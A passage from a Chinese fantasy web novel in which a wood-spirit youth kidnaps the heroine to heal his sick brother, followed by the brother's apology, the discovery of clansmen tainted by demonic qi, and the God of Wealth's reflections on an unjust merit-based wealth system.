“这位姑娘,我们是不是在哪见过?”清脆张扬的声音拦住了张辞晚的去路。青绿的发带随风飘动。
正是锦绣年华,明媚少年!
16. 共枕树死生不离,人声沸辞晚失踪
“这少年瞧着干爽利落,怎么用这么老套的搭讪方式。”甄青竹被吸引了注意力,跟古青言小声嘀咕。
张辞晚久在闺中,没遇到过这等事,尴尬笑着不知该作何反应,求助地看向古青言和甄青竹。
那少年也顺着她的视线看过去,愣了一下,似乎才注意到古青言两人一般,随即笑道:“是我眼拙了。原看这位姑娘身上木灵气息浓郁,便以为也是木妖。如今看来,几位姑娘是外乡人?”
许是常年战争的缘故,这里的人对“外乡人”三字都十分敏感,立时便有人围上来,呈包围之势。
甄青竹忙解释:“我们是物妖族的商人,来此地走商,绝无任何冒犯之意。”
周围人一听物妖族,这才松了口气。
“你们带了什么货物来?”
“在哪售卖?可有铺子?”
“我可得去好好瞧瞧。”
众木妖七嘴八舌地议论起来,十分捧场,这倒让古青言和甄青竹有些始料不及。
搭讪的少年也说:“几位姑娘初来乍到想必还有诸多不适应,不如由在下给诸位做个向导。市司那边在下也认得不少朋友,届时买卖立契什么的,想必也能帮上些忙。”
其他人一听这话,也十分赞同:“交给思小子也好,我们就放心了。”
“是啊是啊,思小子是个靠得住的好后生。”
看样子,这少年在木族中声望不错。
少年三言两语将围观的民众哄得散去,又回到张辞晚身边,规规矩矩行了个礼:“在下共枕树族木思,不知姑娘如何称呼?”
“小女张辞晚,乃是纸妖一族,与木族也算同源,公子会认错也不奇怪。”张辞晚礼数周全,又将古青言和甄青竹一一介绍给木思。
但木思显然只对张辞晚感兴趣,只简单跟二人打了个招呼就继续围着张辞晚问个不停。
甄青竹上去给张辞晚解围:“共枕树族?这是什么树?我在物妖族从未听过,好生罕见。”
别说甄青竹,饶是古青言在仙界见了不少世面,也从未听说过这一族。
木思看上去似乎并不太想搭理甄青竹,但看张辞晚也十分好奇,只得耐着性子道:“我们共枕树族不是天生地养的树木,而是死后魂魄凝聚而成。”
“衣服鬼?”甄青竹第一反应就是这个前些日子搅得她不得安宁的鬼怪。
木思不虞,神色间对自己族群尽是骄傲:“我们与那等怨魂凝聚的鬼怪可不同。”
共枕树族一树双灵,柯条枝叶环抱。这一族数量极少,无法自行繁衍后代,就是百年千年都不一定会有族人增加。
因为他们乃是生前羁绊极深,死后不愿分离的两个灵魂凝聚成木。其中有情人眷侣,亦有兄弟,姐妹,好友至交。
同衾共枕,死生不离。
“那你们一族,定然都是至情至性之人。”甄青竹觉得有趣,转头跟古青言说,“言言,等咱们两个死了,也变成一棵共枕树好不好?”
古青言黑着脸把她推远。什么死不死的……
木思视线在三人身上绕了一圈,忽然想起来什么似的:“姑娘们来的巧,我族今夜正有祈神盛会呢。姑娘若是对我族感兴趣,不妨也来凑个热闹?”
最后一句话显然是对着张辞晚说的。
张辞晚看向古青言和甄青竹,询问她们的意思。
“盛会上会开夜市,木族不少商贩都会借此机会大赚一笔,也算是蹭一蹭祈神的福祉。木族百姓也大多不会介意为接受过神赐的货物花些钱。”木思精准地抓住了几人的需要,“姑娘们不妨带着货物来,在下定为几位留一个好摊位。”
“好。”一听这个,甄青竹几人果然答应了。
木思又带着她们在春枝镇中逛了逛,将哪处有集市,人流如何,几时宵禁都说得明明白白的,向导做得十分到位。
"这木思虽然搭讪方式老套了些,但办事还是蛮周到的嘛,跟睿安有得一拼。"甄青竹小声赞道,“不过这家伙也太殷勤了些,是不是看上咱们辞晚了啊?”
木思走在前面,一直跟张辞晚搭话,脸上的笑容就没消失过。
临分别时,木思还特意跟张辞晚叮嘱:“张姑娘,在下可是为了你才特意邀请诸位的,你晚上可一定要来呀。”
“一定。”
回到客栈,睿安已经效率极高地将她们此行带来的货物一一分类归置好了。
甄青竹嘴里话头立马变了风向:“安大哥还是你最靠谱,旁人哪比得上你啊。”
因着晚上要去夜市,几人顾不得休息,点了几个得用的伙计一起清点好货物,装了车就往共枕树族的方向去。
到了地方,便看见一众商贩手慢脚乱地支着摊子,还有不少跟她们一样风尘仆仆刚赶过来。
古青言几人心下有些奇怪,这祈神盛会对各族来说都是件大事,通常要提前大半年就准备起来了。
她们初来乍到也就罢了,这些木族本地的商贩怎么也今日才来?
但很快她们就顾不得这些了,木思早就派了手下在此候着几人。见到她们后就殷切地迎了上来,将她们带到离祭台最近的摊位上。
她们过来不久,摊子都还没支好,主持祭礼的法师就登台启阵。
这位法师看着有些年纪了,穿着一身老旧的道袍,在台上颤颤巍巍地结印通神。口中倒是念念有词,就是不知到底通达神明了没有。
见过由姚璃主持的祭礼,甄青竹几人觉得这实在有些看不上眼,不免少了几分虔诚,把注意力放在了摊子上。
祭礼不多时便结束了,点点绿光从祭台上飘散下来,名为“神赐”。
甄青竹眼珠子一转,戳了戳张辞晚:“你的灵力也是木属性,放出来一些在咱们的货物周围,与祭台上传下来的也没甚分别。”
张辞晚不明所以:“那是通神之灵,怎么能一样。”
“哎呀。”甄青竹气她死板,“反正别人也看不出来,你弄一些放在咱们摊子上,别人以为咱们的东西最受神明眷顾,自然就会来买了。”
张辞晚觉得此法有些不敬神明,但耐不住甄青竹软磨硬泡,只得照做。
果然,周围的民众都被吸引过来,七嘴八舌的问起价格。
甄青竹喜笑颜开:“这都是天山上来的锦缎,最受神明庇佑。买回去做一身衣裳,漂亮得体不说,能保各位叔叔婶婶,哥哥姐姐福隆
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昌盛,财运绵延呢。”
漂亮话说得大家更加热切起来。
甄青竹只管推销,睿安帮着打包货物,维持秩序。古青言和甄青竹就在旁边记账收银,忙的不可开交。
这事是古青言做惯了的,又有张辞晚帮衬,十分得心应手。
但随着围过来的人越来越多,古青言一手打算盘一手记账本,又有几只拿着银子和铜板的手伸到了她眼前要她核对。
古青言竟觉得有些吃力起来:“辞晚,你得空吗?帮我点一下这几人的碎银。”说完一头扎进账本里奋笔疾书。
“姑娘,我都举半天了,怎么还不算我的呀?”有人发出不满,眼看漂亮的缎子都要叫人抢光了。
“辞晚。”古青言焦头烂额,抬头去看张辞晚,却见张辞晚原先站立的地方空无一人。
古青言环视四周,人声鼎沸,摩肩接踵,唯独不见了张辞晚。
密林深处,张辞晚头痛欲裂,艰难地睁开眼睛,入目却是漆黑一片。
手脚皆被困着,不能动弹。
张辞晚只挣了几下就放弃了,是粗壮的树藤,越挣越紧。
她深呼吸,强迫自己冷静下来。鼻尖所及尽是潮湿的腐叶气味,周身木灵浓郁甚至远胜方才的祭台之处。
自己应该还在木族领地,甚至是木族腹地。
张辞晚如是判断。
脚步声响起,由远及近,停在耳畔。
蒙蔽在眼睛上的枝叶撤去,微弱的光亮照进眼中,并不算刺眼。
张辞晚看清了眼前的少年——是木思。
“你这是什么意思?”张辞晚镇静开口,她并不觉得有多慌乱。自己是死过一次的人了,只盼望不要给青言她们再添麻烦才好,“我不是甄古府中人,若你为了钱财宝物抓我,那可真是白费心思了。”
木思蹲下来,没有回答她的问题,只是深深地凝视着她,眼中有挣扎之色:“你有什么心愿吗?”
“什么?”张辞晚被他这摸不着头脑的一问弄得有些措手不及。
“你有什么心愿,我会尽力帮你完成。”木思垂下眸子,心中不再摇摆。
他站起身,五指张开:“如果没有的话,就把你的肉身借我用一用吧?”
张辞晚身上的藤蔓骤然紧缩,刺痛感让张辞晚额上冒出了细密的汗珠。
衣衫被勒破,肌肤也被勒破,鲜血渗出,逐渐染红了枝条。藤蔓发出绿色的荧光,贪婪地将血液尽数吸收。
张辞晚的脸色越来越苍白,疼痛让她的声音发颤,她咬着牙竭力发出声音:“你到底想做什么?”
木思总是答非所问:“我们确实见过的,在大椿族的祖地。”
张辞晚听不懂:“你在说什么?我是物妖,初来此地,你莫不是认错了?你先放了我,我们有话好好说。”
“我不会认错的,神农木。我跟大椿族求了这么多年他们都不肯给我。”木思坚定道,神色间有些偏执。
张辞晚心头五味杂陈,竟是神农木!她因神农木而重获新生,如今又要因为神农木而死了吗?
就在她痛得几乎要昏厥之时,一道温润似水的男音从远处传来:“小思,你在这吗?”
17. 熊孩子杀人未遂,对峙中故人重逢
木思猛然僵在原地,眼中神色慌乱,像是做错事被发现的小孩子。
他松开手,张辞晚大口喘息。但很快,藤蔓在此收紧,一阵麻痹枝干从伤口处传来,张辞晚渐渐失去了意识。
合上眼前,只隐约看到木思整理好衣冠,又挂上一张明媚的笑脸,急急忙忙跑走了。
“小思,你不好好操办祭礼,怎么跑到这里躲懒了?”温和的生意笑骂一句,却不带着多少责怪,“都是做族长的人了,也不知道稳重些。”
来人青衣素袍,身形细弱,带着病气。行动有些缓慢,双脚虚虚地踩在地上,看着没什么力气。
木思赶紧上去扶住他:“哥哥,你怎么来了?晚上风大,当心身体。”
男子毫无血色的唇微微弯起,摇摇头示意自己没事:“今日觉得身子好些了,听说你办祭礼就想着出来凑凑热闹,沾些生气。谁知遍寻你不到,只好来找你。”
木思低着头,有些心虚:“哥哥想找我,差人来就是了,何必亲自走一遭呢?累坏了可怎么办?”
“我虽病了这些时日,却也不至于连这几步路都走不得。小思,你过于忧心我了。”男子叹了口气。
“大家尊你为族长,你就该对大家负责。我听说前些日子你派木山他们出去,回来后他们就病了,再不见踪影。这是怎么一回事?”
木思避开男子的视线:“他们受了些伤,我将他们送去祖地疗伤了,哥哥不必担心。”
“你长大了,自己心中有数就好。”男子语重心长,“还有祭礼。你一日之内草草要人准备也就罢了,既然要办,你也该多上点心。宾客那么多,你该亲自盯着的,别出了差错,落了我们共枕树族的颜面。”
男子说多了话,脸色更白了几分。木思心疼极了,赶紧安抚他:“我这就去,哥哥你快回去休息吧。”
男子点点头,虚弱地有些站不住,木思扶着他靠着树坐下,将灵力输入他的体内,男子这才好些:“我歇一歇,可是要去祭台看你的,你可不能再躲懒。”
木思万分担忧与不舍,但还是听话地往祭台去了。
男子看着他走远,收敛了笑容,起身往密林深处走去。
祭台前已经乱成了一锅粥,古青言几人久寻张辞晚不见,周围人都说没注意她去哪了。
甄青竹觉得人是在共枕树族的地盘上丢的,就讲给他们带路的共枕树妖揪出来要说法。
那树妖却咬死了不知张辞晚的踪迹,还不准他们大肆搜寻。
甄青竹嚷嚷着要报官,一群人在祭台前闹的不可开交。
木思姗姗来迟:“姑娘这是做什么?可是我木族有什么招待不周的?”
见他出来,甄青竹立即质问:“你把辞晚弄到哪里去了?”
“辞晚姑娘不见了?”木思十分惊讶,露出焦急之色,“我这就派人去找找。张姑娘人生地不熟的,我们这里林子又多,莫不是迷路了吧?”
甄青竹看他这毫不知情的样子有些狐疑:“你今日第一次见辞晚就如此热情,又是当向导又是邀请我们参加祈神盛会,莫不是你对辞晚有什么企图,将她带走了?”
木思神色不变,面上甚至十分委屈,可怜巴巴地看着甄青竹:“我只是觉得辞晚姑娘有一种似曾相识之感,似是我追寻许久之人。这或许就是传说中的一见如故吧。”
“姑娘别急,我定派人好好找找,就是把我共枕树族翻过来找也一定把辞晚姑娘找到。这天色也不早了,不如几位先回去休息,等我找到辞晚姑娘了,一定第一时间通知几位,如何?”木思劝道,一副一心为他们着想的样子。
甄青竹看向古青言和睿安,询问他们的意思。
古青言从木思出来后视线就一直没离开过他身上:“不用麻烦木公子。我们中刚好有一位朋友擅长布阵,木公子让你的手下别再阻挠我们摆阵,我们一探便知。”
“我共枕树族虽是小族,但也有许多秘地,岂容外人随意探看?”木思一口回绝。
“看来这事是谈不妥了!”甄青竹脾气急,拿出长枪就要冲上前去。
古青言一把拽住她:“阿竹,我们没有证据。这是植妖族,我们不占优势。”
木思身后的一干树妖见甄青竹的动作,也纷纷拔出刀剑对峙。
双方谁都没有继续动作,僵持不下,气氛一时有些紧张。
“三日。”木思开口,不疾不徐,“几位先回去,我带人仔细搜寻。张姑娘是死是活,三日后我定会给诸位一个交代。若是诸位执意不肯退去,那就休怪我,将诸位都留在这了。”
话音刚落,又有不少共枕树妖从林中涌了出来。
古青言几人全身紧绷,手握在法器上。他们人数太少,若是真的打起来,怕是难以全身而退。
“咳咳咳。”一阵剧烈的咳嗽声打破了僵局,听着便叫人揪心不已。
方才还振振有词放狠话威胁几人的木思当即变了脸色,连他身后的其他共枕树妖都跟着慌乱起来。
木思拨开人群飞快地迎了上去。
古青言几人因木思这剧烈的反应对来人好奇不已。
只见木思扶着一个极瘦弱的男子穿过人群,那男子还在不住地咳嗽着,周围树妖看向他的眼神里都充满了敬仰与担忧。
“把剑放下。”男子淡声说。
树妖们面面相觑,看向木思,似乎是不知该听谁的。
“怎么,我说话已经不管用了吗?”男子声音虚弱,却莫名地有震慑力。
一众共枕树妖惭愧地低下头,场间一时尽是“哗啦啦”兵器落地的声音。
男子来到古青言几人面前,拂开木思的搀扶,规规矩矩地向几人执礼问好:“共枕树族木佩,也是与小思共树的兄长。小思不懂事冒犯了诸位,木佩在此代他陪个不是。”
木思神色不忍:“哥哥......”
“你住嘴。”木佩斥他,“我就是这样教的你?”
二人对上视线,木思看到木佩眼中无尽的失望,心中钝痛不已,瞬间红了眼眶,低下头不敢再看他。
木佩又向古青言几人行了一礼:“辞晚姑娘正在我房中休息,不宜再打扰。不如几位先行离去,待我料理完族中事务,明日一定将辞晚姑娘安然无恙地送回去。”
古青言没有接话,共枕树族方才表现出来的反应实在是
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算不上清白,不亲眼见到张辞晚,她总归是不放心的。
木佩视线越过古青言和甄青竹姐妹二人,对上睿安的眼睛,冲他露出一个笑容。
睿安回以微笑,眉头却蹙着,眼中有不解,有担忧,更有痛心。
木佩却笑得释然,冲他作揖。
睿安咽下喉中苦涩,轻拍了拍古青言的肩膀:“辞晚姑娘没事,我们先回去吧。”
古青言狐疑地看他,对上他的眸子,犹豫了一下,还是拉上甄青竹走了。
几人走后,木佩遣退众妖,经过木思身边时,看都没有看他,只道:“跟我过来。”
只是没走两步,又是一阵剧烈的咳嗽,身子踉跄,险些跪到在地上。
木思想上去扶他,被他避开:“我可不敢叫你扶。”
“木兮。”
干练的少女应声从林中跃出,搀扶住木佩,悄悄向木思投去一个“你自求多福”的眼神。
木思耷拉着脑袋,像只被主人抛弃的小狗似的跟在木佩身后回了房间。
张辞晚躺在木床上,双目紧闭,没有醒来。点点绿色荧光从木床上转移到她的身体里,一点点修复着她的伤口。
木思突然急了:“哥哥,这可是专门给你养伤用的,里面有疗伤效用的木灵用一次少一次,你怎么给她用了?”
“你要是再把张姑娘吵醒了,就到外面跪着去不用见我了。”木佩自顾自地坐了下来,呼吸起伏,似是在忍受着剧痛。
木思立马闭了嘴。
木兮已经识趣地退了出去。
过了几盏茶的功夫,木佩似是缓过来了,掀开眼皮看向木思:“我把你教的可真好啊,都会绑架杀人了?”
木思“扑通”一声跪了下来:“是我自己冥顽不灵,心狠手辣,与哥哥无关。哥哥是这世上最最光风霁月,无垢无瑕之人。”
“光风霁月,无诟无瑕?”木佩一拳砸在桌案上,拳头却绵软无力,身体又承受不住大口喘息起来。
用眼神呵退想要上前来扶他的木思,木佩死死瞪着他:“你为我手上沾了无辜之人的鲜血,我即便因此活下来,灵魂又岂能安宁?只怕死后要下十八层地狱,才能赎清罪孽。”
“不会的不会的。”木思眼泪不要钱似的往外流,“都是我一个人的过错,与哥哥毫无干系。”
“要下地狱也是我下地狱,我要拖着动妖族那些混蛋一起下地狱!”
木佩看着他,眼里满是痛惜,最终还是招了招手,叫他过来。
木思跪着爬过去,将头窝在木佩怀里哭。
哭也不敢大声哭,他还记着木佩说了不能吵醒张辞晚。
其实木佩早在木床上设了隔音屏障,只是吓唬他罢了。他抚摸木思的脑袋,无声叹息:“我这身子撑不了几日了,你还不叫我省心。”
木思本有几分故意哭来装可怜的意味,一听这话哭得更凶,简直不能自抑。
他说不出话,只用手去捂木佩的嘴,希望他不要说出这等叫人绝望的语言。
木佩握住他的手,很是无奈:“明日把辞晚姑娘送回去,跟人家道歉。以后不许再做这种事了,知道吗?”
18. 情报误九死一生,天诛现千年遗害……
次日一早,两辆马车就停在了古青言几人暂居的客栈前。
古青言和睿安接到消息后,早就等在了门口。
古青言望眼欲穿,看到张辞晚完好无损地从马车上下来才彻底放心,拉她到一边来回检查:“昨日到底是怎么回事?你可有受伤?”
另一辆马车,木思小心地把木佩搀扶下来:“哥哥,我自己来就好了,你何苦亲自跑这一趟?”
木佩斜他一眼:“还不是你干的好事?”
“木兄。”睿安迎上去。
木思上下打量他,不大友好:“你就是我哥哥经常提到的那个姓安的?”
“木思,不得无礼。”木佩训斥,对睿安歉意地笑了笑。
睿安并不在意:“无妨。安某从前,也常听木兄提起自己的弟弟,很是牵挂,时常夸赞呢。”
眼看木思听了这话尾巴又要翘起来,木佩道:“进去叙话吧。”
几人进了客栈,木佩郑重向几人长揖一礼:“小思年少不知事,险些对张姑娘做下不可饶恕之事,是我没有教好他,我代他向诸位赔罪。”
古青言方才已经听张辞晚说了昨日的来龙去脉,对他兄弟二人并没有什么好脸色。
但看在张辞晚已经伤愈无恙,木佩又是睿安的故友,这才忍下没有发作,缄口不言。
倒是甄青竹问:“你们对辞晚做了什么?”
木思不乐意这话:“是我一个人做的,要杀要剐悉听尊便,与哥哥无关。”
木佩在他脑袋上扇了一巴掌,又歉意地向几人笑笑,走到一旁坐了下来:“诸位莫见怪,在下身子不大好,不能久站,还是坐下来与诸位详谈吧。”
几人纷纷落座,睿安目露担忧:“我离开边境时你还好好的,怎么这次见面就成了这个样子?”
甄青竹视线在两人之间来回打量:“你们两个之前认识呀?”
木佩回答:“我曾被征召去前线战场,在那里认识的安兄。安兄是有大气魄的人,只是可惜,一日之力终究难以改变大局。”
“我两族的祸事,倒是连累了安兄。”
睿安摇摇头。无论哪一族,皆是他妖族子民。
“安兄离去后,两族战事越发恶化。”提起战事,木佩也忧心忡忡,“我木族擅疗愈,一向是在战场后方负责伤兵救治的。却忽然有一次,我接到命令,要我带着共枕树族的兵士深入敌军腹地,烧毁粮草。”
“我带着人过去,却发现情报有误,那里并没有什么粮草,而是敌军的精锐部队。我虽然侥幸带人逃脱,却也受了重伤。”
短短几句,木佩说的轻松,但必然是九死一生。
睿安听得揪心。
木佩一直负责后方,却突然被调去前线,还恰巧就遇上了错误的情报。这明显是有人要让他去送死!
只怕是木兄当初襄助自己,惹得那些人记恨。是自己连累了他。
古青言不知其中内情,心中嘟囔。
所以,木思绑走张辞晚是为了救这人?
阿晚也真是倒霉,因为战场怨魂化作衣服鬼死了一次,又险些因为木佩在战场受伤死第二次。
“我这伤十分蹊跷,明明外伤皆已经痊愈,内里却总觉疼痛。时而似烈焰炙烤,时而又似绵针穿肠。可打坐内观,又不见丝毫异样。”
不是内伤,也不是外伤,那就只能是魂魄上的伤了。
古青言若有所思,只觉得这病怎么这么像……
“随军的大夫都瞧不好,我的身子一日差过一日,上面只得允了我卸甲归家。回到春枝镇后,小思前前后后不知为我请了多少名医术士,却都不见效果。”
“昨日他在街上偶然看见辞晚姑娘,看出姑娘乃是神农木做的肉身。他去大椿族为我求过不少次神农木了,但此物是大椿族至宝,哪里能轻易给他?他苦求无果,便起了歪心思。”
木佩说着,再次给张辞晚致歉。
“对不住。”木思不想哥哥再替自己道歉,跟着说。
为了救自己哥哥确实是情深义重,但因此害别人的性命,仍是罪无可恕。
古青言心中气愤不已。
“小思也想用神农木为我重塑肉身,但我自己的身体我最清楚,只怕也是无用功。”
睿安看着故友,心中百般不是滋味。他想帮忙广寻神医,却又想到自己如今只是个待罪之身,哪有什么势力去寻人?
不过说到势力,如今他们中最有权势的,应当是......睿安看向古青言。
古青言察觉到他的视线,没好气的瞪他一眼。她心中因为张辞晚遇险,对这两兄弟仍是心有怨怼。
但木佩这人,虽只见过两面,然其病弱之躯,却一身正气,谦和有礼,瞧着便是个正人君子,实在叫人印象深刻。
古青言偷偷打量了木佩一番。罢了罢了,看在也是个病弱美人的份上:“木公子这病,倒是像极了‘天诛’。”
古青言在医术一道所知甚少,之所以会知道此病,是因为她下界前,天界正在如火如荼地筹备三界神农药典。这药典的最终考题,便是能治愈“天诛”的药物。
如今世间仅仙、妖、人三界,但据说千年之前,是有第四界——魔界的。魔界魔族生性阴毒狠辣,屡屡挑动战争,搅扰得四界都鸡犬不宁。于是仙、妖、人三界不堪其扰,联合起来将魔族剿灭。
而“天诛”,就是当年四界混战时诞生出的疾病。具体由来古青言并不清楚,只知道此病诞生以来无药可医,三界能人异士研制了数千年也只能抑制而无法根治。此番三界神农药典以“天诛”的根治之法命题,在仙界引发了好一番轩然大波。
只是“天诛”与魔族息息相关,如今魔族覆灭千年之久,木佩是怎么染上此病的?
“小思也猜测是此症呢。”木佩笑道,似乎并不太忧心自己的病情。生死有命,富贵在天。
古青言惊讶的看向木思:“此症绝迹已久,你是如何知晓的?”
木思却吞吞吐吐不大想说,见木佩面露不虞才终于道:“我先前去大椿族求神农木,大椿族虽不愿给我,但一位长老许是被我缠的没办法了,就答应送我去仙界寻一寻机缘。”
仙界与下界并非是全然不相通的,下界之人想要入仙界也并非只有飞升一种方法。只是这些方法寻常人接触不到罢了。
大椿族据说是植妖族最古老的
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族群之一,族人以长寿著称,因此会有前往仙界的途径也不算奇怪。
木佩似乎也是头一回知道这事,有些惊讶地看木思:“你背着我做了多少事?”
随机他又敏锐地想到什么:“木山他们受伤是不是与此事有关?他们是在仙界受的伤?”
“不是。”木思又是一阵吞吞吐吐,说什么也不肯继续说下去。
木佩脸色冷了下去,把木兮叫出来:“你说。”
木兮与木山乃是同树的共枕树妖,这些日子总是忧心忡忡,问她木山的去向也总是顾左右而言他。
木佩就知道此事有蹊跷,只是从前他对木思十分放心,觉得他自有分寸。但昨日出了张辞晚这事,他实在是无法再放任不顾。
“我说,我说就是了。”与其让木佩从别人嘴里听到更生气,还不如自己坦白从宽,“他们......是在魔域受的伤。”
魔域,即是魔界被摧毁后的一片无人区,充斥着魔气,凶险至极,但也不乏奇珍异宝在其中生长。
木思去过仙界,却还是觊觎张辞晚的神农木,那想必是没什么收获。
所以从仙界回来后他又派人去了魔域。只是显然,这些人也铩羽而归。
木佩黑着一张脸走在最前面,木佩低头跟着,大气都不敢喘一下。
到了地方,木思紧张地拉住木佩:“哥哥,你别进去,在这里看看就好。”
众人都不解,木山等人不过是受了些伤,木思何故这样如临大敌?
木思打开结界,十几棵粗壮的树木出现在几人面前。
古青言与睿安对视一眼,两人皆看到了两人眼中的骇然。
每一棵树干上,都用结实坚韧的藤蔓捆着一只共枕树妖。那些树妖有的虚弱得垂着头,有气进没气出;有的剧烈挣扎,双目猩红,似是失去了神智。而这些人无一例外,都浑身缭绕着黑气!
这些人的状态,太像他们在天山见到的罪神了!
“他们在魔域不慎沾染了魔气,就成了这幅样子。”木思眼中愧疚之色深重。
木佩不顾木思阻挠上前扶起一个奄奄一息的男子:“木山!”
木山抬起沉重的眼皮,看到是木佩,先是惊讶,随后故作轻松地笑了:“公子怎么来了?快离我远些,莫要沾染上这鬼东西。”
“是我的错,是我的错。”木佩环顾四周,看着昔日的战友们,声音哽咽,“都是我拖累了你们。”
“公子这是什么话!”木山急道,“若不是公子拼死相护,我等早就死在了战场上。公子为了掩护我等才受此病痛折磨,我等又怎能不尽心求药?”
“是啊,我等都是自愿的,公子可千万不要自责。”
旁边几个清醒的树妖纷纷开口。
“您也别怪族长,族长问过我们的意愿,我们都甘愿为公子和族长赴滔倒火。”
“这是魔气?”古青言问。
睿安在天山上就与她说过,罪神的疯癫之状与战场上那些杀红了眼的战士极为相似。木佩也是在战场上患上了“天诛”……
难道说,妖族战乱与魔有关?
可是,魔族不是已经被灭族千年了吗?
19. 调卷宗浩如烟海,陪财神长篇大论
从共枕树族出来,古青言怀揣心事,一路都没有说话。
奇怪的是一向话唠的甄青竹今日也保持了安静。
回到客栈,古青言避着人把睿安叫到一边:“我得离开几天。”
财神爷派她下界调查战乱真相,她本没有太当回事。世间战事兵乱常有,原因也无非就是为了土地,资源那些东西。
谁知下界后兜兜转转这些日子,竟然连魔族这千年前的事情都牵扯出来了。
她不敢马虎,就想着回仙界好好查一查那些前尘旧事,不管是前财神,还是魔族。
“这事不好解释,你……能不能帮我遮掩一下。”
睿安知道这人秘密多,也没有多问,只是挑眉看她:“你就这么信任我。”
古青言一噎,自己也想不明白是从什么时候开始对这人毫无防备的。
可能是这人长得......像好人?
不行,自己可不是以貌取人的肤浅之辈!
想了半天终于给自己找了个正当理由,古青言一本正经:“第一次见面我不就说了吗?我不是信你,是信二哥哥。”
睿安看这人想破脑袋就想出这么个理由,觉得她也没比自己高明到哪里去。
古青言看到睿安的表情,有些恼火:“你到底帮还是不帮?”
“帮。”睿安看这人像个恼羞成怒还露出尖牙吓唬人的小猫,老实道。
古青言见她应允,也不管睿安用什么方式遮掩,安心离去。
次日,甄青竹去找古青言,看到空无一人的房间时,睿安悠悠然出现在她身后:“青言姑娘回家相亲去了。”
“啊?”甄青竹目瞪口呆。
古青言悄然回到财神殿,一头扎进了卷宗室中。
在浩如烟海的卷宗里翻了整整两日,才终于找到了关于前财神的只言片语。
前财神金承日,初为人族,出生年月不详,与现任财神金承月师出同门,先后飞升,入财神殿就职。
仙历一千零四十年,日与月于财神殿争执斗殴,遂分道扬镳。
仙历一千零七十年,日先月一步飞升上神。时值先财神渡劫失败,身死道消,日继任财神。
仙历一千一百年,日革职下狱,罪贪墨无度,罚囚于妖界天山,非死不得出。
现任财神继任以后,卷宗洋洋洒洒几百页,事无巨细地记载了他每天都做了什么事。
连他忧心妖界黎民在大殿摔金简之事都记载了好几笔。
而前代财神,一代上神,从人界飞升而来,也算是轰轰烈烈,却在卷宗中只剩下这寥寥几笔,也是叫人唏嘘。
“贪墨无度。”古青言轻声念着卷宗上的最后几个字。
她想到自己前不久才刚处理了一件财神殿的贪墨案件——姚璃。
姚璃同样在三界中最富有的地方任职,虽然只是个掌银,但在财神殿中也算是中高层了。有着财神殿这层身份,她想要什么奇珍异宝没有?
如今想来,她说自己是为了买修炼资源而敛财,这理由似乎不大站得住脚。
那罪神呢?
他已经是上神之身,一代财神,三界最富有的人。
身份地位,金银财宝,名望,修为......他什么都不缺了,还贪墨做什么呢?
贪墨所得银钱,又用在了什么地方呢?
这世上的人心太复杂了,古青言看得有些头疼,站起来醒醒神,正准备继续翻下去。
一道声音从身后传来,吓得她一激灵:“你要查师兄,直接问本座不就好了。”
古青言转过身,看见红色的神袍,赶忙俯首叩拜:“下官见过财神大人。”
财神:“不必多礼。”
古青言起身,财神爷还在等着她回答:“主上公务繁忙,属下不敢随意叨扰。”
“财神殿中一应事务都有你们几个操持,本座公务繁不繁忙你还不清楚吗?”财神摆了摆手,走到旁边的书案边,拨开堆满的卷宗坐下:“你在妖界见到师兄了?”
古青言点点头,斟酌了一下道:“属下见了天山山神,他状态似乎十分异常。”
财神:“本座猜,你想问本座的是,师兄为何会如此?”
古青言:问题是这么个问题,但我准备自己查来着。
这话她当然不能说:“主上英明。”
“转眼间已经几百年过去了,本座便长话短说吧。”
财神往后一靠,目光投向虚空,陷入回忆:“当年,本座与师兄一同在人间修行。刚入门时,许多规矩都不懂,受了不少欺负,是师兄一直护着我。”
“本座入门虽晚些,但胜在天资聪颖,修为很快就超过了师兄。所以师父就渐渐更偏爱本座一些。”
“这是个很俗套的故事,我们二人的关系渐渐颠倒,成了我护着师兄。”
财神讲了许多在人界时的琐碎小事。
古青言:您确定这是长话短说?
“后来,也是本座先飞升到仙界的。”
“再后来,师兄也飞升了,但他比较笨,修为始终低本座一头。”
古青言:能飞升,还能修炼到上神,怎么也跟“笨”扯不上关系吧?
“仙界以修为论尊卑,师兄的官位也就一直低本座一头。所以他的许多想法无法直接通达先财神,都是借本座之手递上去的。”
还不切入正题,古青言听得有些困了。
从前听说人间许多人,平日里不仅要辛苦劳作,还得陪着悠哉悠哉的上次聊人生话往事。
没想到她在仙界做官,也不能免俗。
仙与人,也没什么分别嘛。
财神随手翻起古青言刚才看过的卷宗,目光停留在罪神那一页。
“仙历一千零四十年,日与月于财神殿争执斗殴,遂分道扬镳。”
“你一定很好奇我跟师兄穿一条裤子长大的交情,为何会发生如此剧烈的冲突,甚至于被记载到卷宗上吧。”
古青言:......那倒也没有。
“那次,师兄让我给先财神上一道折子,我没同意。”
“你可知神官如何与下界信徒沟通?”
打瞌睡突然被提问,古青言试图通过睁大眼睛强制启动大脑:“信徒向神官祈愿,神官根据其功德,酌情帮其实现。”
财神:“财神殿掌管金银财帛,然下界功德更高的信徒,大多本就是富人。”
古青言点点头,在财神殿也干了这么多年了,这些行情她是知晓的。
“你可知是为何?”
古青言茫然。
“贫苦人家,连自己的生计都难以维持,又哪里又余力顾及他人,自然积攒不到什么功德。”
“而富人,灾年时随手施点薄粥,成千上万的功德便收入囊中。”
“财神殿的神官以此功德分配财富,如此循环往复,富者更富,贫者更贫。”
财神脸上划过一丝嘲讽:“这制度可笑极了。”
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“那成千上万的灾民哪里来的?还不是上层作威作福,收割了太多的民脂民膏,让百姓在灾年连一点余粮都不曾剩下。”
古青言心头触动,清醒了一些。她从未想过这些。
“师兄叫我上书,革除此制,劫富济贫,平均分配人界,甚至是三界财富。”
“他说仙界,妖界皆有神通,寿命漫长,唯有人界是手无缚鸡之力的凡人。所以,应当将三界资源更多的向人界,向人界百姓倾斜。如此,三界方能均衡,众生可达平等。”
“本座没有同意。”
这法子未免有些偏激,要说这罪神没有私心古青言是不信的。
这很好理解,罪神出自人族,自然更偏向人族,这是人之常情。神仙也从人群中来,自然也不能免俗。
古青言也不是没动过利用自身资源偏帮妖界一些的念头,只是还没想到要如何实施罢了。
她亦能理解财神的拒绝。作为直接面对上官的人,他自然要考虑上官的态度。
先财神又不是人族,怎么可能同意这种明显带着私心的提议?
财神好像知道她在想什么似的:“且不说先财神会不会同意,即便是同意了,这法子也是行不通的。”
古青言不解。
财神:“本座且问你,如果本座现在将这一身修为和财神之位都传给你,你可还会去管妖界的那堆烂摊子?”
不会。
古青言没有说,但答案是显而易见的。换做任何人答案都是显而易见的。
